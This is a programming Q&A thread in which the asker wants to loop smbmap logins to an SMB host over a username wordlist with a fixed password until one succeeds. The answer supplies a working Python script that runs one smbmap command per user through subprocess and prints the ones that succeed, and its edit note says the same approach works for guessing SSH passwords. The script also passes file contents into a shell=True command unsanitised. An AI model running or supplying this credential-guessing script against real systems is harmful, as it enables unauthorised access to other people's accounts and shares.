Execute a command by reading contents of a text file

Question

I want to automate a Linux command using python. The command is:

smbmap -u robert -p p@ssw0rd -H 192.168.2.10

I have a wordlist which includes possible usernames in each line. How can I write a code which execute the command by reading the file? For example I have a list called "users.txt" which contains:

robert
admin
administrator
guest

And it should try as follow till it finds the correct user&password:

smbmap -u robert -p p@ssw0rd -H 192.168.2.10
smbmap -u admin -p p@ssw0rd -H 192.168.2.10
smbmap -u administrator -p p@ssw0rd -H 192.168.2.10
smbmap -u guest -p p@ssw0rd -H 192.168.2.10

Thanks.

Answer 1

This should work:

import subprocess

# read in users and strip the newlines
with open('/tmp/users.txt') as f:
    userlist = [line.rstrip() for line in f]

# get list of commands for each user
cmds = []
for user in userlist:
    cmds.append('smbmap -u {} -p p@ssw0rd -H 192.168.2.10'.format(user))

# results from the commands
results=[]

# execute the commands
for cmd in cmds:
    results.append(subprocess.call(cmd, shell=True))

# check for which worked
for i,result in enumerate(results):
    if result == 0:
        print(cmds[i])

Edit: made it your file path, changed to .format(), checked result == 0 (works for ssh trying passwords)

Edit: forgot to add shell=True